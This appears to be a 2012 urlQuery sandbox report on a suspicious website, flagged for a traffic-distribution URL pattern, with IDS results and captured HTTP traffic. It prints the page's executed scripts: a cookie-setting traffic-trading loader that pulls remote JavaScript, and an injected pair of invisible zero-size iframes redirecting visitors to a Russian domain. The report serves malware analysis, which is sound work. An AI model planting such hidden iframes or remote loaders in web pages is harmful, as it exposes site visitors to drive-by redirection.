Overview

URLhttp://findassarchive.in/index1.html
IP66.40.52.157
ASNAS11388 Peer 1 Dedicated Hosting
Location United States
Report completed2012-11-08 22:22:48 CET
StatusLoading report..
urlQuery Alerts Detected a TDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 1 reports on IP: 66.40.52.157

Date Alerts / IDS URL IP
2013-01-20 18:11:201 / 2http://catalogofsites.in/66.40.52.157

Last 6 reports on ASN: AS11388 Peer 1 Dedicated Hosting

Date Alerts / IDS URL IP
2013-02-13 01:26:334 / 40http://nicholaswatson.ca/209.25.169.104
2013-02-13 01:18:160 / 44http://soyelmejor.50webs.com/plots/index.html66.40.55.207
2013-02-12 20:08:550 / 38http://soyelmejor.50webs.com/gilchrist/index.html66.40.55.207
2013-02-12 19:50:061 / 2http://susite.50webs.com/give.html209.25.137.150
2013-02-12 19:43:571 / 2http://susite.50webs.com/give.html209.25.137.150
2013-02-12 15:05:100 / 0http://soyelmejor.50webs.com/redbreast/index.html66.40.55.207



JavaScript

Executed Scripts (8)


Executed Evals (1)

#1 JavaScript::Eval (size: 1974, repeated: 1) 

var stTrName = new Array();
var stTrUrl = new Array();
var $stServerIn = "http:\/\/s1.slimtrade.com/in.php?s=2193";
var $stServerOut = "http:\/\/s1.slimtrade.com/out.php?s=2193";
var stNewWindow = 'EMPTY';
var stShowValues = 'EMPTY';
var stLinkText = 'EMPTY';
var stShowValues = 'EMPTY';

function stShowLink(n, t) {
    if (typeof stNewWindow == 'undefined' || stNewWindow == 'EMPTY') {
        stNewWindow = (typeof StNewWindow == 'undefined') ? false : StNewWindow
    }
    if (typeof stShowValues == 'undefined' || stShowValues == 'EMPTY') {
        stShowValues = (typeof showValues == 'undefined') ? false : showValues
    }
    if (typeof stLinkText == 'undefined' || stLinkText == 'EMPTY') {
        stLinkText = (typeof linktext == 'undefined') ? 'more' : linktext
    }
    if (typeof stLinkNoFollow == 'undefined') {
        stLinkNoFollow = false
    }
    var o = '';
    t = t || stLinkText;
    if (n-- > stTrUrl.length) stTrName[n] = t;
    else o = '&o=' + stTrUrl[n];
    if (!stShowValues) if (stTrName[n].indexOf(' (') >= 0) stTrName[n] = stTrName[n].substr(0, stTrName[n].indexOf(' ('));
    document.write('<a ' + (stLinkNoFollow ? 'rel="nofollow"' : '') + (stNewWindow ? 'target="_blank" ' : '') + 'href="' + $stServerOut + o + '">' + stTrName[n] + '</a>')
};

function stShowVal(n, v) {
    if (typeof stTrValues[n]) {
        var arr = stTrValues[n].split(',');
        if (v == 'ins') document.write(arr[0]);
        else if (v == 'outs') document.write(arr[1]);
        else if (v == 'clicks') document.write(arr[2])
    }
    return null
}
var showLink = stShowLink;
var c = document.cookie;
$stBookmark = c.indexOf('stBookmark') == -1 ? '' : 1;
var d = new Date();
d.setTime(d.getTime() + 7776000000);
document.cookie = 'stBookmark=1; expires=' + d.toGMTString() + ';path=/';
var $stSession = c.indexOf('stUS') == -1 ? '' : 1;
d = new Date();
d.setTime(d.getTime() + 900000);
document.cookie = 'stUS=1; expires=' + d.toGMTString() + ';path=/';
var $stKeks = document.cookie.indexOf('stUS') == -1 ? '' : 1;
(function() {
    var st = document.createElement('script');
    st.type = 'text/javascript';
    st.async = true;
    st.src = $stServerIn + '&t=' + $stSession + '&b=' + $stBookmark + '&c=' + $stKeks + '&tm=' + (Math.random() * 100000) + '&r=' + escape(document.referrer);
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(st, s)
})();

Executed Writes (1)

#1 JavaScript::Write (size: 171, repeated: 1) 

<iframe src=http://hervam236.ru/go.php?sid=4 width=0 height=0 frameborder=0></iframe><iframe src=http://hervam236.ru/go.php?sid=12 width=0 height=0 frameborder=0></iframe>


HTTP Transactions (22)


Request Response 
GET /index1.html HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 21:27:03 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Mon, 27 Aug 2012 14:25:37 GMT
Etag: &quot;810a3ad4-3ce1-503b8361&quot;
Accept-Ranges: bytes
Content-Length: 3627
Content-Encoding: gzip
Connection: close
GET /s2193.js HTTP/1.1

Host: s1.slimtrade.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Accept-Ranges: bytes
Etag: &quot;349009829&quot;
Last-Modified: Fri, 05 Oct 2012 11:00:10 GMT
Content-Length: 1863
Date: Thu, 08 Nov 2012 21:22:17 GMT
Server: lighttpd/1.4.28
GET /in.php?s=2193&t=&b=&c=1&tm=78785.7186476704&r= HTTP/1.1

Host: s1.slimtrade.com
GET /in.php?s=2193&amp;t=&amp;b=&amp;c=1&amp;tm=78785.7186476704&amp;r= HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: text/javascript

X-Powered-By: PHP/5.3.3-7+squeeze14
Set-Cookie: stVisits=2193%2C1352496137; expires=Fri, 09-Nov-2012 21:22:18 GMT
Transfer-Encoding: chunked
Date: Thu, 08 Nov 2012 21:22:17 GMT
Server: lighttpd/1.4.28
GET /scripts.js HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Connection: close
Transfer-Encoding: chunked
GET /icons/100ws/sc.js HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 03 Jul 2007 15:47:50 GMT
Etag: &quot;1883-1e0-468a6fa6&quot;
Accept-Ranges: bytes
Content-Length: 480
Connection: close
GET /icons/100ws/fh.gif HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 03 Jul 2007 15:47:50 GMT
Etag: &quot;1888-46f-468a6fa6&quot;
Accept-Ranges: bytes
Content-Length: 1135
Connection: close
GET /img1/46262_ca_106_09_122_1050lo.jpe HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 21 Aug 2012 19:38:10 GMT
Etag: &quot;4488b45d-7be8-5033e3a2&quot;
Accept-Ranges: bytes
Content-Length: 31720
Connection: close
GET /img1/46653_en-008-003_122_600lo.jpe HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 21 Aug 2012 19:38:11 GMT
Etag: &quot;4488b45e-61b2-5033e3a3&quot;
Accept-Ranges: bytes
Content-Length: 25010
Connection: close
GET /img1/46836_ca_106_18_122_593lo.jpe HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 21 Aug 2012 19:38:13 GMT
Etag: &quot;4488b462-c88b-5033e3a5&quot;
Accept-Ranges: bytes
Content-Length: 51339
Connection: close
GET /icons/100ws/bg.gif HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
Cookie: stBookmark=1; stUS=1
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 03 Jul 2007 15:47:50 GMT
Etag: &quot;187e-6e-468a6fa6&quot;
Accept-Ranges: bytes
Content-Length: 110
Connection: close
GET /img1/60281_diana-031-066_123_1056lo.jpe HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Connection: close
Transfer-Encoding: chunked
GET /her.js HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
Cookie: stBookmark=1; stUS=1
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Fri, 07 Sep 2012 13:32:41 GMT
Etag: &quot;825f8292-be-5049f779&quot;
Accept-Ranges: bytes
Content-Length: 190
Connection: close
GET /img1/59799_image_39_normal-naya_123_884lo.jpe HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 21 Aug 2012 19:38:15 GMT
Etag: &quot;4488b465-60ad-5033e3a7&quot;
Accept-Ranges: bytes
Content-Length: 24749
Connection: close
GET /img1/64577_sa25__122_1008lo.jpe HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Thu, 08 Nov 2012 21:27:04 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Last-Modified: Tue, 21 Aug 2012 19:38:08 GMT
Etag: &quot;4488b45c-3fb8-5033e3a0&quot;
Accept-Ranges: bytes
Content-Length: 16312
Connection: close
GET /img1/60281_diana-031-066_123_1056lo.jpe HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
Cookie: stBookmark=1; stUS=1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Thu, 08 Nov 2012 21:27:06 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Connection: close
Transfer-Encoding: chunked
GET /go.php?sid=12 HTTP/1.1

Host: hervam236.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 403 Forbidden

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Thu, 08 Nov 2012 21:22:20 GMT
Connection: keep-alive
Last-Modified: Sun, 22 Jan 2012 20:16:35 GMT
Etag: &quot;24c43d6-55c-4b723972eaec0&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 697
GET /go.php?sid=4 HTTP/1.1

Host: hervam236.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://findassarchive.in/index1.html
 
HTTP/1.1 403 Forbidden

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Thu, 08 Nov 2012 21:22:20 GMT
Connection: keep-alive
Last-Modified: Sun, 22 Jan 2012 20:16:35 GMT
Etag: &quot;24c43d6-55c-4b723972eaec0&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 697
POST / HTTP/1.1

Host: ocsp.comodoca.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request
 
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Thu, 08 Nov 2012 21:22:20 GMT
Server: Apache
Last-Modified: Thu, 08 Nov 2012 06:54:48 GMT
Expires: Mon, 12 Nov 2012 06:54:48 GMT
Etag: FFE21C38021DF25E137FE6D87E03B5C66EF0B74B
Cache-Control: max-age=292947,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp1
Content-Length: 471
Connection: close
POST / HTTP/1.1

Host: ocsp.comodoca.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request
 
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Thu, 08 Nov 2012 21:22:20 GMT
Server: Apache
Last-Modified: Thu, 08 Nov 2012 18:28:34 GMT
Expires: Mon, 12 Nov 2012 18:28:34 GMT
Etag: 9A9CC0F92C12507A99741D0BD8F365AB35D89FEA
Cache-Control: max-age=334573,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp3
Content-Length: 471
Connection: close
GET /_rootimages/banners/qpik-biz-2.png HTTP/1.1

Host: billing.qpik.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://hervam236.ru/go.php?sid=12
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Thu, 08 Nov 2012 20:52:56 GMT
Server: Apache/2.2.23 (CentOS)
Last-Modified: Mon, 18 Jul 2011 07:46:50 GMT
Etag: &quot;8021c7-8677-4a85333b38e80&quot;
Accept-Ranges: bytes
Content-Length: 34423
Connection: close
X-Pad: avoid browser bug
GET /favicon.ico HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: stBookmark=1; stUS=1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Thu, 08 Nov 2012 21:27:08 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Connection: close
Transfer-Encoding: chunked
GET /favicon.ico HTTP/1.1

Host: findassarchive.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: stBookmark=1; stUS=1
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Thu, 08 Nov 2012 21:27:10 GMT
Server: Apache/1.3.33 (Unix) mod_ssl/2.8.22 OpenSSL/0.9.7d SE/0.5.3.4
Connection: close
Transfer-Encoding: chunked